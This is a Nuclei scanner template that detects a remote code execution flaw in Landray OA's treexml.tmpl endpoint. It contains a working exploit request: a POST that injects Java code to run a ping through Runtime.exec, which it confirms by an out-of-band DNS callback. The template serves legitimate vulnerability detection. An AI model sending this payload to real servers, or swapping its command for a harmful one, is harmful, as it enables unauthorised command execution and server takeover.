id: landray-oa-treexml-rce

info:
  name: Landray OA Treexml.tmpl - Remote Code Execution
  author: tangxiaofeng7,SleepingBag945
  severity: high
  description: |
    There is a remote command execution vulnerability in Lanling OA treexml.tmpl. An attacker can obtain server permissions by sending a specific request package.
  reference:
    - https://github.com/tangxiaofeng7/Landray-OA-Treexml-Rce/blob/main/landray-oa-treexml-rce.yaml
    - https://vuls.info/PeiQi/wiki/oa/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8COA%20treexml.tmpl%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#_4
  classification:
    cpe: cpe:2.3:a:landray:landray_office_automation:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: landray
    product: landray_office_automation
    fofa-query: app="Landray-OA系统"
  tags: landray,oa,treexml,rce

http:
  - raw:
      - |
        POST /data/sys-common/treexml.tmpl HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Content-Type: application/x-www-form-urlencoded

        s_bean=ruleFormulaValidate&script=try {String cmd = "ping {{interactsh-url}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "<RestResponse><success>"
          - "<confirm>"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402200bd3731edb94409a94916cb95b0882dc6cb7aa66a69ce83591e6b85912943e17022016bd5a5f4c2700d42edf8a34b3b400afb7dc117a7da7132478c7be14c3fdcb5d:922c64590222798bb761d5b6d8e72950